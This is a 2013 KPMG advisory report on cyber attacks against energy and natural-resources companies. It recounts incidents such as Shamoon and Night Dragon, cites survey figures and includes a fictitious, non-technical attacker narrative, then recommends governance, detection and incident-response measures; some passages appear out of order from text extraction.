2 Operation Night Dragon was a Cyber Attack against energy companies which was exposed by the security company McAfee.
Night Dragon attacks are designed to steal sensitive data from targeted organisations.
Unlike opportunistic attacks, the perpetrators appear to be sophisticated, highly organised, and motivated in their pursuits.
EXECUTIVE SUMMARY Companies now not only face cyber attacks from hacking groups, script kiddies and hactivists, they are also threatened by state-sponsored agencies with limitless resources.
These agencies usually carry out cyber attacks to seek a competitive edge, gain access to intellectual property, or for sheer sabotage.
In other words, cyber threats have never been more pervasive and attack damages never more real.
The situation is especially grim for the Energy and Natural Resources (ENR) industry.
The sector is plagued by two key problems.
For one, top management has traditionally not placed sufficient emphasis on information security.
Also, much more focus is placed on connectivity compared to security.
As a result, the ENR sector has become an enticing and relatively easy target for cyber attacks.
As evidenced in recent cyber incidents Shamoon1 and Night Dragon2, the resultant loss and combined damage, be it substantial or intellectual, would be far greater than the cost of preventive security measures.
In this increasingly insecure environment, senior management should refresh their perspective to safeguard their key corporate assets.
For many organisations in the Asia Pacific, a cyber security-oriented structural transformation might be necessary.
I am convinced that there are only two types of companies: those that have been hacked and those that will be.
And even they are converging into one category: companies that have been hacked and will be hacked again.
Robert S. Mueller, FBI Director RSA Cyber Security Conference March 2012 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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All rights reserved.
What Is Going On The Current Global Situation ...........................................................................1 ENR Related Security Incidents ......................................................................3 General Shamoon Night Dragon Others Overview of Major Problems ..........................................................................4 The Who  Why of Cyber Attacks ..............................................................5 Industrial Control System ...............................................................................7 Categorised Active Players .............................................................................7 Various Attack Vectors ....................................................................................8 Impact on companies who fall prey to such attacks.......................................9 How Companies Can Cope The need for action ....................................................................................... 10 So are companies in the ENR industry up to the challenge?
........................
11 Suggested Frameworks ................................................................................ 12 ICS-CERT Recommendation Real life case studies .................................................................................... 13 Conclusion ................................................................................................... 16 References Internal .......................................................................................................... 17 External ......................................................................................................... 18 CONTENTS 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
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Page 1 The Current Global Situation Cyber threats and IT risks are omnipresent.
Compared to the past when criminals used a scattergun approach, cyber attacks now are much more focused and intelligent.
Let us first take a peek into an attackers world.
What is going on and scanned their externally reachable IP addresses until I found one which had an unpatched vulnerability in their web server: company X.
After a days work, I was inside their network.
Company X is a small organisation and they do not feel they need network segmentation, so I was able to reach all machines on their internal network through that web server.
After some more work, I was able to elevate my privileges to domain administrator, which meant I had full access to all of their systems.
This was where I hit a bump.
I intended to change the source code of their product in such a way that it would allow me to connect remotely to the system of anyone who installed it, but I had never done that before.
I then decided to log on to a hacker forum and posted a request for help.
I offered 10,000 euros reward for a job well done.
After a while, I was approached by someone who was willing to help me.
I asked around to confirm his reputation in this field.
I enlisted his help in modifying the source code of the main product of company X.
The security policies of company Y were very strict: only the system administrators can install software on the workstations, and both incoming and outgoing traffic goes through a proxy server.
Luckily, the virus which my associate hacker had written communicates through DNS, which was not actively monitored or filtered.
The software from company X was updated on a regular basis, and after three weeks I received a message which indicated that I had access to their workstations.
An attackers perspective Understanding the perspective of an attacker is essential for everyone involved in fighting cybercrime.
For that reason, staff in KPMG Netherlands interviewed one of their professionals  an ethical hacker.
He relayed us an intriguing fictitious story.
It is up to you to judge how realistic this threat would be to your organisation.
My employer insists on remaining anonymous, but rest assured, he is quite resourceful.
He approached me a few weeks ago with a job offer.
The goal he set was quite ambitious: steal as many secrets from the government as you can.
Let me tell you about the steps I took.
First, I sat down to think about what I knew about the governments IT infrastructure.
At a conference last fall, I had met an IT director of a ministry who had told me that all firewalls for the government were supplied by the same vendor, company Y. Hacking such a firewall was a formidable task - not something I was ready to take on directly.
Instead, I took a more indirect approach.
I logged in to LinkedIn and searched for employees of software development companies who mentioned company Y as one of their clients on their LinkedIn profile.
Many professionals mention prestigious client names in their profile, even when company policy prohibits name dropping.
Shortly after, I found multiple software vendors which make niche software and listed company Y as a client.
I visited the vendors websites I called on my associate hacker once more, but this time for a more advanced task: reprogramming the firmware of the firewalls which company Y produces.
He indicated that he needed the help of a contact who installed a backdoor in all firewalls for another 20,000 euros.
Now, all I needed to do was wait for the next update of the firmware.
I posted some fake security vulnerabilities for the current version of this firmware, to ensure that the firmware would be upgraded timely.
And slowly but surely, I gained access to all internal networks of the government.
I could then route any traffic which flows through any government network through my own computer.
I can also read all emails which are sent between government employees internally.
I can find vulnerable servers by scanning the networks.
In almost all the internal networks, I have found at least one server which I can exploit.
I installed backdoors on hundreds of workstations which allows me the ability to monitor email servers, so emails with interesting attachments can be forwarded to me.
Additionally, I have obtained login credentials for almost all major government databases.
Every day, almost two hundred gigabytes of government secrets are sent to me automatically.
This amount is only limited by the amount of bandwidth I can get, and the number of hard disk drives I install.
Im being paid 100 euros per gigabyte of information.
I will leave it to you to calculate my hourly wage.
2012 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
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No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
All rights reserved.
Page 2 The sad truth is that cybercrime is here to stay.
A report by the Government Accountability Office indicated that 24 key government agencies in the United States have logged a 650 percent increase in cyber security incidents in 2011 compared to five years ago.
According to a survey by KPMG Netherlands, 49 percent of organisations have experienced some form of cybercrime activity during the past 12 months while the remaining may not even have proper detection measures in place.
Among the 49 percent, 10 percent indicated that they have been attacked more than 100 times within the past year.
The remaining respondents said they were attacked successfully up to five times last year.
Most of the incidents were not covered by the media and are therefore not publicly known.
Information leakage most common Globally, information leakage is one of the most common challenges faced by organisations.
Opening an email containing a virus from a hacker can allow perpetrators to seize control of your computer, read your emails and record your passwords.
Information leakage is in fact one of the most common types of incidents across the world and can easily take place in your daily life.
Take for example that you have made a donation to a local charity.
In recognition of your contribution, the organisation lists your name on their website as a sponsor.
Two days later, you receive an email from the Fundraising Chair asking you to confirm your donation.
You open the email, fill out the form (you are also careful not to include any banking or sensitive information) and return it to the sender.
But in reality, the email didnt come from the charity at all the attachment was, in fact, a high quality fake containing a virus, allowing perpetrators to seize control of your computer, read your emails and record your passwords.
Everything you know or see is now visible to the perpetuators.
Clearly, information leakage is rapidly becoming a board-level risk.
A 2012 survey by KPMG suggest that more than three-quarters of the Forbes 2000 companies leak potentially dangerous data (See Figure 1 below).
Personal information and financial data are often lost due to hacking, system failure, human negligence and disgruntled employees.
Some countries have already enacted legislation to curb such problems.
The  European Commissions  General Data Protection Regulation released in 2012 states that companies have the obligation to protect their network and personal information.
Companies must also notify relevant authorities within 24 hours after a serious breach, or face a penalty of up to one million Euros or two percent of turnover.
It is worth noting that hacktivist groups are often the agents responsible for information leakage.
For instance, members of Anonymous, a famous hacktivist group, are not only known for bringing down commercial systems and websites, they have also infiltrated into commercial organisations computer systems, exposing correspondence and personal data to the public in the process.
In 2010, Anonymous penetrated Sonys network and cost the latter US170 million dollars in reparation for the unauthorised disclosure of customers names and credit card numbers.
Another Anonymous affiliate group AntiSec dumped over 860,000 user credentials including 75,000 sets of personal and financial information into the open Internet after breaking into the firm Stratfors systems.
During the past few years, industries all around the globe have witnessed for the first time carefully engineered and profoundly complex attacks such as Stuxnet, Night Dragon and Shamoon (these will be described later in the document).
Cyber security has become a grim issue that no one can avoid.
Figure 1: Heat map of information leaking countries Source: KPMG Cyber Vulnerability Index 2012 Very hot          Hot          Warm 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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All rights reserved.
ENR Related Security Incidents General Of all the potential marks at crosshair, the ENR industry is one of the most attractive targets for cyber criminals.
According to the United States (US) Department of Homeland Security News Wire published in April 2012, American water and energy companies deal with a constant barrage of cyber attacks on a daily basis.
These incidents usually take the form of cyber espionage or denial-of- service (DoS)3 attacks against the utilities industrial-control systems.
According to a survey report released by The Centre for Strategic and International Studies in 2010, critical infrastructure firms such as power grids, industrial control networks and oil refineries are facing staggering level of cyber attacks, and are not adequately prepared to defend themselves.
In April 2012, the US Cyber Security response team warned of attacks upon the gas industry.
The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) reported a number of cyber intrusions targeting gas pipeline companies.
Analysis of the attacks confirmed they are part of an ongoing campaign dating back to December 2011 and indicated Spear Phishing was used to target a number of specific individuals across the gas pipeline industry.
Spear phishing is an e-mail spoofing fraud attempt that targets a specific organisation, seeking unauthorised access to confidential data.
Shamoon On 15 August 2012, Saudi Aramco, a large national oil and gas company with global operations, announced that they had to disconnect their IT systems from the Internet while dealing with a serious disruption of their network.
The disruption, which continued for two weeks, was the result of a cyber attack that used a computer virus to disable over 30,000 of the companys workstations.
The virus, later named as Shamoon, was the first significant cyber attack on a commercial target to cause real damage.
It is also the most destructive attack the private sector has experienced to date.
Later in the same month Rasgas, a main player in the Qatari Liquid and Natural Gas scene, was also hit by the Shamoon (as per security experts) virus and consequently forced to bring their entire network offline.
Night Dragon Another series of cyber incidents in the ENR sector were dubbed collectively by security company McAfee as Night Dragon.
McAfee believes that these attacks on global oil, energy and petrochemical companies may have started as early as in 2007.
Evidence from McAfee has shown that this series of well-coordinated and specifically focused attacks involve a myriad of different techniques and methods.
The primary target seems to be any financial information related to bids and oil-and-gas operations.
McAfee also pointed out that all the attacks took place regularly during weekdays from 9am to 5pm in GMT 8 time zone, which matched with the source location as determined by the IP address, thus pointing at the high possibility of company men being hired to perform the job systematically.
Others There are many more cyber security incidents which have taken place in the ENR industry.
In 2011, a Canadian-based company which supplies remote administration and monitoring tools to Fortune 100 energy companies reported that it had suffered a security breach.
Upon breaching the corporate network, the attackers installed malicious software on computers and stole information related to a remote administration tool which the company supplies.
Another incident of more recent times occurred in early 2013.
In February 2013, the US Department of Energy confirmed that computers and servers at its Washington headquarters were compromised in the previous month.
In this attack, personally identifiable information of several hundred employees and contractors may have been compromised.
Seemingly non-critical at first glance, this information may however be used to further future attacks into having serious consequences.
3 A denial-of-service (DoS) attack or distributed denial-of- service (DDoS) attack is an attempt to make a machine or network resource unavailable to its intended users.
In another case, unidentified hackers helped a manufacturer in China obtain the breakthrough design of a wind turbine by an energy company in the United Kingdom.
The Chinese manufacturer subsequently made and sold the product at a much lower price, driving the original company in the UK into closure.
DoS attacks represent yet another form of cyber security attacks which cause huge financial losses and massive damage to companies in the ENR sector.
A report published by McAfee in 2011 stated that four out of every five oil, gas and power companies have suffered at least one DoS attack in 2011.
Cyber attacks are also increasingly escalating into cyber warfare.
In an October 2012 Wall Street Journal article, U.S. officials noted that Iranian hackers with government ties have mounted cyber attacks in 2012 against American targets, escalating a low-grade cyber war ...
The Iranian effort culminated in a series of attacks against U.S. banks as well as electronic assaults on energy companies in the Persian Gulf.
These incidents clearly show the increasing severity of cyber attacks and give an idea on how important cyber security will be in the future.
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Overview of Major Problems The obvious question to ask is why these various organisations are so vulnerable in the face of cyber attackers.
In 2012, Carnegie Mellon University conducted their yearly survey for largest American companies.
The results indicated that more than 70 percent of C-Suite executives and members of the board are not actively involved in the protection of their company data.
They are also rarely involved in the inspection of key employees working on information security or the revision of corporate-wide policies in this aspect.
A similar trend has been observed by the Government Accountability Office in American government agencies.
Despite receiving numerous security recommendations each year, companies were not implementing these properly.
Key personnel were also not being trained adequately.
In addition, there is a lack of proper monitoring on security controls or appropriate key performance indicators to assess improvement.
The ENR sector is critical as it powers the growth of almost every economy in the world.
The sector can be broadly divided into three categories: electricity, petroleum and natural gas.
In the electricity category, both automation systems and utilities controls of electricity infrastructure are built on a complicated system known as the Supervisory Control and Data Acquisition (SCADA).
Similarly, the production and distribution of petroleum and natural gas are heavily dependent on systems similar to SCADA.
Unfortunately, such industrial infrastructure control systems have been facing a severe legacy problem in recent years.
They have been rashly connected to the Internet for remote accessibility without implementing adequate security measures.
This has in turn led to higher chances of such systems falling prey to cyber attacks.
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In this era of information and connectivity, malicious hackers are able to easily find information assets as targets in a corporate network.
What is at stake is financially valuable data such as mergers-and-acquisitions plans, transaction records, quarterly/ annual reports and internet banking details.
Strategic information including intellectual property, contact details of senior executives, records of legal disputes and various trade secrets are also at risk.
In addition, personal data like employees addresses and date of birth, once compromised might very well be used in facilitating identity theft.
Last but not least, process control networks are being increasingly favoured by attackers given their vast potential in bringing about significant impact, as proven in the famous Stuxnet case4 and other incidents described earlier.
Given how the numerous production and exploration activities carried out by energy companies are dependent on these networks, this trend is of particular relevance and importance to the ENR sector.
A 2011 report by KPMG  has shown that oil and gas operations are amongst the top 10 sectors which suffer from the most information leakages worldwide.
Information leakages involving oil and gas operations account for six percent of all security incidents.
Some of the sources of leakage are within the direct control of the corporation and can be prevented if companies put in the effort.
These sources include websites, documents and web servers.
However, there are also other channels such as popular search engines and forums which are outside of the usual enterprise security curtain and pose a much more complex challenge.
The KPMG report also revealed that 78 percent of Forbes 2000 corporate websites leak some form of potentially useful information through their document meta-data.
4 Stuxnet is a computer worm discovered in June 2010 that is believed to have been created to attack Irans nuclear facilities.
Stuxnet initially spreads via Microsoft Windows, and targets Siemens industrial software and equipment.
Kaspersky Lab concluded that the sophisticated attack could only have been conducted with nation-state support.
Different variants of Stuxnet targeted five Iranian organizations, with the probable target widely suspected to be uranium enrichment infrastructure in Iran Document meta-data is information about a document, or information on its properties.
It often informs who created a document, when and where on a device or network.
According to version information retrieved from document meta-data, 71 percent of the 2000 companies may be using potentially vulnerable and out- dated versions of Microsoft and Adobe software.
Furthermore, 16 percent of corporate web servers may be vulnerable to attack due to missing security patches or out-dated server software.
Many instances of un-patched and unsupported web server software were found to be serving Forbes 2000 corporate websites.
The who  why of cyber attacks Page 5 Figure 2: Number of potentially sensitive    file locations on the Forbes 2000 corporate websites by sector 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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Part of KPMGs research focused on the structure of the Forbes 2000 corporate websites to identify any potentially sensitive file locations or hidden functionality that may be useful to cyber attackers.
A number of file locations marked private were also identified, hosting documents that were not intended for public consumption (See Figure 2 below).
The direct result is that out of all the servers used for corporate websites, 15 percent offer hacker access to test functionality and private login portals that potentially allow file upload capabilities that could likely lead to full take-over of servers by cyber attackers.
Oil  Gas operations have also emerged in the list of top 10 sectors that post most information to public forums and newsgroups.
There are as many as 88,681 of such postings in newsgroup alone, according to the report.
If past experience has taught us anything, it is that cyber attackers and organised crime do not target one avenue of attack.
Instead, they use a combination of available information leaks to profile a target, and map out the targets internal systems and their components.
It is important to emphasise that the processes used to gather the information leaks mentioned above are not sophisticated and available to anyone with access to the Internet and little more than a web browser.
Page 6 Figure 2: Number of potentially sensitive    file locations on the Forbes 2000 corporate websites by sector 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
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Industrial Control System The problem is even worse when it comes to control systems which are widely adopted by ENR industries, as explained by chief cyber security strategist from Computer Sciences Corporation (CSC ), Donald Purdy.
Purdy, formerly a cyber official at the Department of Homeland Security, mentioned during a major security conference in San Francisco in 2012: These are older systems so they are harder to control.
And for convenience and cost savings, people have connected them to the internet in order to control them from remote locations.
So this is almost a perfect storm in terms of vulnerability because the nation is so dependent on these systems This is a significant security issue for the United States and frankly for the world.
In the monthly monitor report released last September by the US Industrial Control Systems Cyber Emergency Response Team (ICS-CERT), it was also mentioned that the positive aspects of better connectivity were overshadowed by the introduction of significant vulnerabilities.
For instance, Justin W. Clarke, a 30-year-old cyber security researcher and electric utility expert discovered two major vulnerabilities in 2012 on Siemens RuggedCom equipment which is extensively used by companies in communicating with power stations situated in different locations.
The first vulnerability is essentially a secret back door which would easily allow hackers remote access into the equipment.
The second vulnerability makes it possible for hackers to intercept the network traffic between operator and devices which may contain authentication credentials.
Potential attackers could take advantage of such flaws to manipulate power stations or use these flaws to launch another set of attacks on a much larger scale.
The situation is made even worse when independent researchers release and circulate system flaws and vulnerabilities for reference and countermeasure studies.
While the intention behind such documents might be good, the direct consequence is that many could now easily gain access to dangerous and powerful weapons such as the code of Stuxnet, which can cause immense damage to critical infrastructures.
In contrast to the published vulnerabilities, certain manufacturers of critical system controllers are reacting way too slowly which have resulted in research groups like Digital Bond, releasing exploits for these vulnerabilities in order to stimulate the patching and upgrading efficiency.
When it comes to electrical power, technology is also a double-edged sword.
While advances in smart grid technologies have helped better detect power theft and reduce power loss with smart meters been recently deployed in countries such as in Serbia and Brazil, these technologies also give rise to possibilities of their advanced functionalities being used for shady purposes.
For instance, two demonstrations at Security B-Sides and Black Hat conferences illustrated that hackers could basically tweak the smart metres currently in use to perform functionalities as they wish, which include changing of temperature, controlling of lighting and even cutting of power during emergencies.
As a side note on corporate security policies and procedures, the Saudi Aramco incident where large number of business computers were disabled, also highlighted importance of monitoring network attacks initiated by inside personnel and the potential danger of using portable storage media like thumb drives.
Categorised Active Players Over the years, two major shifts in trends have been observed in terms of cyber attacks.
Firstly, the targets are shifting from individual organisations to chains of related companies.
Secondly, the main components of attackers have shifted from script kiddies to criminal groups, with the latter being much more specialised and coordinated.
Some of the major players include: organised cyber criminals who are most known for mass stealing of personal identities and financial data, state or corporate sponsored espionage like the Night Dragon operation which aims to steal critical intellectual and business information, hacktivists such as Wikileaks, Anonymous and LulzSec who have amassed a large number of supporters and participants, malicious inside personnel, as in the case of Bradley Edward Manning, a United States Army soldier who was arrested in May 2010 in Iraq on suspicion of having passed classified material to the website WikiLeaks.
Just as attacks have evolved, companies too must evolve by re-evaluating their own ability to detect, defend and respond to cyber attacks.
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Various Attack Vectors Cyber incidents can be loosely divided into three categories.
The first category is accidental events due to human error, system failure or unanticipated accidents.
The second category refers to unauthorised access into networks and systems by hackers or employees.
The third category does not require actual access as it usually causes denial of service or loss of data.
Attack methods could involve complicated and coordinated efforts to beat the cyber security protection mechanism and intelligence reconnaissance, followed by social engineering techniques for acquiring of target information.
There are six most common types of security failings.
These are shared accounts, weak passwords, lack of effective network monitoring, lack of effective Web monitoring, absence of logging and absence of log analysis.
Lack of user awareness also provides more opportunities for social engineering attempts to succeed.
Examples of such attempts include luring Internet users into execution of malware and Spear Phishing.
(
See Figure 3 below).
A group of attackers who are particularly good at social engineering is Anonymous.
These hackers typically exploit easy-to- guess passwords of users or use emails to trick users into revealing confidential information or into clicking links which lead to the download of malicious software.
However, Anonymous is not the only group of people who are familiar with this technique.
In fact, cyber criminals and state-sponsored attackers have been practising it for a far longer time.
The stakes are also bigger for them as they stand to gain a whole lot more of important information.
Eddie Schwartz, chief security officer of the security firm RSA summed it up best during a security conference in San Francisco in 2012 when he said: The attacks by them (Anonymous) pale in comparison to the nation-state stuff and the criminal element The more eyes, the greater chance of success (for an attack), which accurately depicts the cyber environment nowadays.
Page 8 Figure 3: Methods of attack Infection with malicious malware Compromised web applications 14.7 23.3 28.7 16.7 5.3 11.3 5 0 10 15 20 25 30  Phishing Social engineering Unknown Other Source: 2012 KPMG paper A nuanced perspective on cybercrime.
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Impact on companies who fall prey to such attacks The objectives of cyber attacks can be divided into two distinct categories.
These are misappropriation and theft of intellectual property, financial data or other confidential information for monetary gain or to gain a competitive edge corruption or disturbance of key business assets and processes for strategic purposes or to make an activism statement, However, the actual impact on victim companies could be much broader and more profound.
More specifically, direct consequences of such attacks comprise disruption of business and production processes, unauthorised access to monetary operation, loss of intellectual property, disclosure of merger-and-acquisition deals, identity theft and compromising of customer data.
Such attacks can also adversely affect third party partners in the industrial chain.
(
See Figure 4 below).
But all the above consequences are just the tip of the iceberg.
Deeper financial and reputational impact further includes loss of competitive advantage in accessing new fields, failure to keep current clients and investors, losing deals and disputes (or winning them on unfavourable terms), regulatory fines, liability lawsuits, share price drops, costs involved in fixing business relationships and even negative international publicity.
In addition, the company would very likely be forced to spend more than usual to fix systems and repair damages.
It is also very likely that costly fees will be incurred from services of third party experts and consultants for mitigation and recovery services.
There could also be forced expenditure on personnel change, organisational restructuring and additional training.
Page 9 Figure 4: Purpose of attack 30 15 Access to third party information or systems Access to money 16.6 14.6 30.0 16.1 12.1 10.6 0 5 10 20 25  Disruption of business and production processes Obtaining information concerning intellectual property Obtaining information concerning mergers acquisitions Other Source: 2012 KPMG paper A nuanced perspective on cybercrime.
2013 KPMG International Cooperative (KPMG International), a Swiss entity.
Member firms of the KPMG network of independent firms are affiliated with KPMG International.
KPMG International provides no client services.
No member firm has any authority to obligate or bind KPMG International or any other member firm vis--vis third parties, nor does KPMG International have any such authority to obligate or bind any member firm.
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The Obama administration submitted a cyber security proposal to Congress last May to outline its priorities for cyber security and to press lawmakers to pass comprehensive legislation to protect critical U.S. infrastructure that powers the Internet, utilities, and other control systems that are vulnerable to attack.
Feds Simulate Crippling Cyber security Attack On NYC Electricity [March 2012] Advances in technology and mounting concern about the potential for a cyber attack to damage power stations, water-treatment plants and other critical systems have prompted senior officials to seek a more robust role for the departments Cyber Command.
For one thing, cyber attacks can take place in milliseconds.
The assailant may be unknown.
The attack route may be hard to trace, crossing multiple countries.
Pentagon proposes more robust role for its cyber-specialists [August 2012] Iran is to move key ministries and state bodies off the worldwide internet next month in an effort to shield them behind a secure computer wall from disruptive cyber attacks like the Stuxnet and Flame viruses.
The establishment of the national intelligence network will create a situation where the precious intelligence of the country wont be accessible to these powers.
Iran to unplug from Web to escape Internet monopoly [August 2012] The key is to be able to understand the motives behind a cyber attack.
It must be made clear the cyber world is no longer playing in the minor league, but rather the major league with players who potentially have access to unlimited resources and endless patience in achieving an aforementioned objective.
On a second note it is extremely necessary to conduct thorough analysis of risks and have a clear understanding of the different asset value perception.
What seems of little value to one firm might be worth a lot more to attackers who have a totally different perspective or who are planning an attack on a chain of companies.
As a result, consideration should be given to the relationship between the costs for implementing detective controls and costs of incidents.
The latter should include indirect damages incurred on consumer confidence and reputation, the two most valuable assets of a company.
A 2012 survey titled A nuanced perspective on cybercrime which was conducted by KPMG in Netherlands, Page 10 The need for action However, effective awareness requires continuous effort to remain vigilant.
In this aspect the financial institutions seem to be doing a better job in understanding the potential enemy compared to the other industries, including the ENR sector.
How companies can cope stated that out of the 170 responding organisations under various sectors including ENR, approximately 19 percent of them spend more than 1.5 million euros on cybercrime prevention, detection and response per year.
Thirdly, whether short term measures or long term controls have been implemented, the upper management of companies should never be complacent and believe that they enjoy 100 percent security.
The IT landscape in many modern organisations is simply often too complex for complete protection.
The same 2012 KPMG survey also revealed that 45 percent of companies experienced attempts of cybercrime attacks in 2011.
In addition, 55 percent of respondents were unsure of whether they can effectively respond to a cybercrime attack, and only 20 percent said they can respond effectively to an attack but unfortunately do not have an attack response plan in place.
Among all the responding corporates, approximately 30 percent have forensic capabilities as a control and only 55 percent have central incident and event monitoring capabilities.
Most importantly, it is vital for the management to set the correct tone.
KPMGs experience with clients has shown over and over again that security is largely a management issue.
The survey also showed that more than 75 percent of respondents believe that fighting cybercrime goes beyond installing the needed technology to curb it.
Some 90 percent of them also agree that cybercrime should be discussed at the board level.
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So are companies in the ENR industry up to the challenge?
Most respondents  from the ENR sector of the same KPMG survey do not think so.
They believe that hackers are more likely to win in this sector compared to other industries.
If a company does not consider itself to be ready, actions must be taken.
Management should endorse prevention efforts and start seeking a structured approach.
There also has to be effective use of security monitoring and seamless cooperation between the different parties involved so that knowledge and expertise can be shared among government, business communities, IT security groups and even cross-border organisations.
Beyond the prevention of incidents, timely detection and an adequate Page 11 response are also critical.
If there is any major gap or deficiency in the policies, procedures and tools of a company, the worst time to discover these would be when a cyber security incident is already set on its course.
In terms of short-term actions, the company could perform risk analysis from the perspective of an attacker, identify and monitor critical assets as well as begin implementing a standby incident response team.
In the long run, companies should strive for cost-effective control of the cyber environment by addressing the domains of people, processes and technology.
Yet, even the most comprehensive security control system cannot guarantee the complete prevention of cyber incidents.
An incident response plan and an emergency action plan is therefore also of paramount value in the proper handling of a security compromise and reducing the subsequent damage.
If a thorough and detailed plan is not available, the very least an organisation should do is to be familiar with some basic concepts and simple primary actions to respond to an incident.
(
See Figure 5 below).
This helps the company achieve more effective business resilience, which is important especially for the protection of the most critical assets.
The fundamentals of cybersecurity are probably best summed up by Ron Ross, National Institute of Standards and Technology (NIST) Senior Fellow, who said during a launch of NISTs latest guidance on security controls: The fundamentals of cyber security  I call it the physics of security  dont change over time  how we apply those controls ... is a little bit different, but the same fundamentals.
Figure 5: Call for action Short term action prevention Perform risk analysis from perspective of attackerPrevent Respond Detect Short term action response Implement standby incident reponse organisation Short term action detection Identify and monitor critical assets Source: 2012 KPMG paper A nuanced perspective on cybercrime.
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5 The Industrial Control Systems Cyber Emergency Response Team (ICS-CERT) is part of the US Department of Homeland Security (DHS) and works to reduce risks within and across all critical infrastructure sectors.
Page 12 Suggested frameworks Given the shifting perspective of the defence against cybercrime, a more modern approach to cyber security therefore also focuses on the perspective of the criminals.
In terms of risk assessment, the organisation must not only consider itself as an attractive end target, but also consider its part in the supply chain.
It should also not view itself as one entity that should be protected, but as a collection of processes, users and IT infrastructure.
Companies should focus on being well informed of (the character) of possible threats and invest in a proper defence.
They should not do this in an isolated way, but rather use the knowledge and experience of colleagues in both the public and private sector.
A joint response is essential for protection against cyber espionage, terrorism, crime and disruption of information and communication systems.
ICS-CERT Recommendation With respect to the industrial control system, ICS-CERT5 suggests a proactive security model as depicted in the Figure 6 below.
This model can be further complemented with a more detailed five-step approach in protecting information and records: Obtain executive sponsorship, establish a team, and determine the teams goal, objectives, and milestones - ensuring that these efforts are aligned with the goals of the business.
Develop a training and awareness campaign.
Policy content should be comprehensive, consistent and implemented with process changes and the introduction of appropriate controls and metrics to measure effectiveness and compliance.
Assess the current state of the organisations information protection efforts.
Classifying the sensitivity of information should be a key goal.
Design the desired state of information integrity protection, with the goal of establishing improved handling and protection practices that achieve policy requirements, lower business risk, and increase productivity.
Implement the desired state.
Enhanced process and data workflows, controls, and processes are a key outcome.
The result is a programme that helps leaders ensure the risk-based protection of information assets.
Figure 6: Proactive Security Model Risk Assessment Identify/Remove Vulnerabilities Digital Asset ID Profile Model Map Architecture Standardise Policies Training Incident Response Proactive Security Model 2013 KPMG International Cooperative (KPMG International), a Swiss entity.
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KPMG in the Netherlands provides the banks with an update on the trends in cybercrime threats and potential solutions twice a year.
KPMG employs a global network of hundreds of information security specialists, which reaches virtually all major financial institutions worldwide.
Attack patterns observed at other banks and solutions applied by these institutions help to shape an image of upcoming attacks and solutions relevant for Company B.
Knowledge of the latest cybercrime attack trends and defence measures helps Company B to update the banks defences on time in order to adequately respond to attacks.
Real life case studies There have been quite a few cases worldwide where KPMG applied the use of frameworks and helped different clients with their needs in achieving the goal of cyber security.
Page 13 In the Dutch market, joint efforts of the financial sector are pretty successful in boosting awareness.
Aside from cooperation between financial institutions and the Government, KPMG also actively shares experiences as part of the focused joint efforts.
Generally, there are three types of security controls: prevention, detection and response.
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Company Z is a well-known company in the oil, gas and natural resources industry.
KPMG firms teamed with a technology partner provider to supervise one of the largest global implementations of a security monitoring platform.
The platform correlates information about thousands of security events from numerous systems spanning across the globe.
A list of the most relevant cybercrime risks for Company Z was drafted in close cooperation with the organisation.
For each risk, a set of detection rules was defined.
The ability to adequately respond is mainly achieved by properly established processes and governance.
KPMG advised on governance structure, engineered new incident response processes and established training programmes for security personnel.
Page 14 In general, preventive controls are more popular than detective controls whereas detective controls are used more often than responsive controls, as in this case of how KPMG helped a company in the ENR industry.
However, as discussed earlier, incidents cannot be avoided 100 percent of the time.
This implies that detection and response are equally important and are thus the areas with the biggest room for improvement.
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Member firms of the KPMG network of independent firms are affiliated with KPMG International.
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Page 15 Company A was informed by a whistleblower that an attacker gained access to the companys website and/or closed environment.
In response to this news the website was taken offline and KPMG was asked to assist.
A collaboration of Forensic technology and IT security experts captured forensically sound images of the most critical servers to make sure no traces or evidence were lost.
The images were analysed for traces in system files and properties, logs from firewalls were secured and analysed, KPMG also analysed all traffic to and from the compromised servers.
The analysis showed that the perpetrator succeeded in creating and uploading several files to the web server that contained malicious code, allowing the perpetrator to send commands to the server from a remote location.
KPMG helped the client by implementing remedial procedures and additional security measures, thus mitigating the risk of further damage and bad publicity.
Below is another example illustrating KPMGs experience in adequate and systematic response after a security incident has taken place: Even if it is within an organisation itself, one way of improving the handling of specific cyber incidents related to industrial control systems would be to gather a group of staff to conduct brainstorming and collaboration exercises During such sessions, staff from various departments will get to receive more adequate cyber security training, initiate effective inter-departmental interactions, and update antiquated policies and procedures.
They can also get to identify and fix any security flaws found in the system, so as to create a corporate and organisational environment that is more resistant to cyber attacks.
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Member firms of the KPMG network of independent firms are affiliated with KPMG International.
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Page 16 Conclusion The battle against cyber crime is one which is difficult to win.
From the perspective of the Asia Pacific region, we understand that data security is not an easy concept for most business leaders to fully grasp.
In part, this is because many organisations do not have a clear view on the actual value of their data and as a result, tend to follow a one-size-fits-all approach to data security.
At the same time, organisations in this region have also seen a gradual migration of their corporate value away from physical assets (such as facilities, products and people) towards digital assets (such as bid information, technology designs or customer data).
Therefore, most businesses have robust crisis plans for events like floods, fires or sudden executive departures, but have very few for digital security issues.
An organisation in the ENR industry must stay as up-to-date as possible with security issues and set in place effective security measures.
Beyond doing so, an ENR organisation must evaluate itself through the eyes of potential attackers so as to identify and protect parts which represent the highest substantial value.
The importance of executive leadership and support in developing a data security strategy cannot be overstated.
The risk of data loss should be a board-level issue and not a challenge isolated to the IT department and risk managers.
This means that executives must not only walk the walk when it comes to complying with protocols, but also actively participate in the development of security to ensure that the rules reflect the priorities of the business.
Most importantly, executives must strive to institutionalise continuous improvement mechanisms to ensure that they learn from hard-earned lessons of the past.
Should a cyber security transformation be undertaken, the five recommended objectives would be to Prevent, to Prepare, to Protect, to Remediate and to Integrate and Transform.
However, given the scope and complexity of the challenge, it is not surprising that most executives are left wondering how best to approach the issue without dampening productivity or expending scarce resources.
It is important that executives in the Asia Pacific region balance a cautious approach to IT security with the downside and damage that can be caused by the lack of being able to carry on business as normal and the loss of confidential and sensitive information.
